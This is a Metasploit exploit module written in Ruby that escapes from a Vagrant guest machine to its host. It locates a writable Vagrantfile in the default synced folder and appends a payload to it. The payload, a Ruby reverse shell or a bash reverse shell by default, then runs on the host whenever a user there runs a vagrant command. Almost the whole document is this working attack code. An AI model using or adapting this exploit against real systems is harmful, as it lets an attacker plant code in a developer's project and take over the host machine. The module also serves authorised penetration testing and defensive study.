##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Local
Rank = ExcellentRanking
include Msf::Post::File
prepend Msf::Exploit::Remote::AutoCheck
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Vagrant Synced Folder Vagrantfile Breakout',
'Description' => %q{
This module exploits a default Vagrant synced folder (shared folder)
to append a Ruby payload to the Vagrant project Vagrantfile config file.
By default, unless a Vagrant project explicitly disables shared folders,
Vagrant mounts the project directory on the host as a writable 'vagrant'
directory on the guest virtual machine. This directory includes the
project Vagrantfile configuration file.
Ruby code within the Vagrantfile is loaded and executed when a user
runs any vagrant command from the project directory on the host,
leading to execution of Ruby code on the host.
},
'License' => MSF_LICENSE,
'Author' => [
'HashiCorp', # Vagrant defaults
'bcoles' # Metasploit
],
'DisclosureDate' => '2011-01-19', # Vagrant 0.7.0 release date - first mention of shared folders in CHANGELOG
'Platform' => %w[ruby],
'Arch' => ARCH_ALL,
'SessionTypes' => [ 'shell', 'powershell', 'meterpreter' ],
'Stance' => Msf::Exploit::Stance::Passive,
'DefaultOptions' => {
'DisablePayloadHandler' => true
},
'Targets' => [
[
'Ruby Code',
{
'Platform' => 'ruby',
'Arch' => ARCH_RUBY,
'Type' => :ruby,
'DefaultOptions' => {
'PAYLOAD' => 'ruby/shell_reverse_tcp'
}
}
],
[
'Unix Command',
{
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'Type' => :unix_cmd,
'Payload' => { 'BadChars' => '`' },
'DefaultOptions' => {
'PAYLOAD' => 'cmd/unix/reverse_bash'
}
}
]
],
'DefaultTarget' => 0,
'References' => [
['URL', 'https://www.vagrantup.com/docs/synced-folders'],
['URL', 'https://www.virtualbox.org/manual/ch04.html#sharedfolders']
],
'Notes' => {
'Reliability' => [ REPEATABLE_SESSION ],
'Stability' => [ CRASH_SAFE ],
'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS, CONFIG_CHANGES ]
}
)
)
register_options([
OptString.new('VAGRANTFILE_PATH', [false, 'Path to Vagrantfile (leave blank to auto detect)', ''])
])
end
# Search potential default shared directories for Vagrantfile configuration file
def find_vagrantfile_path
unless datastore['VAGRANTFILE_PATH'].blank?
return exists?(datastore['VAGRANTFILE_PATH']) ? datastore['VAGRANTFILE_PATH'] : nil
end
# Default Vagrant synced folders (aka shared folders)
default_shared_directories = [
'C:\\vagrant\\',
'/vagrant/'
]
default_shared_directories.each do |dir_path|
begin
vagrant_shared_dir_contents = dir(dir_path)
rescue Rex::Post::Meterpreter::RequestError
next
end
next if vagrant_shared_dir_contents.empty?
# Vagrant project configuration file name is case-insensitive (typically "Vagrantfile")
vagrant_shared_dir_contents.each do |fname|
return "#{dir_path}#{fname}" if fname.downcase == 'vagrantfile'
end
end
nil
end
def vagrantfile
@vagrantfile ||= find_vagrantfile_path
end
def check
return CheckCode::Safe('Vagrantfile not found.') unless vagrantfile
# `writable?' method does not support Windows systems
begin
return CheckCode::Detected("#{vagrantfile} is not writable.") unless writable?(vagrantfile)
rescue RuntimeError
return CheckCode::Detected("Could not verify if #{vagrantfile} is writable.")
end
CheckCode::Appears("#{vagrantfile} is writable!")
end
def exploit
fail_with(Failure::NotVulnerable, 'Could not find Vagrantfile') unless vagrantfile
case target['Type']
when :ruby
data = payload.encoded
when :unix_cmd
data = "`#{payload.encoded}`"
else
fail_with(Failure::NoTarget, 'No target selected')
end
print_status("Appending payload (#{data.length} bytes) to #{vagrantfile} ...")
unless append_file(vagrantfile, "\n#{data}\n")
fail_with(Failure::Unknown, "Could not write to #{vagrantfile}")
end
print_status("Payload appended to #{vagrantfile}")
print_status('The payload will be executed when a user runs any vagrant command from within the project directory on the host system.')
print_warning("This module requires manual removal of the payload from the project Vagrantfile: #{vagrantfile}")
end
end
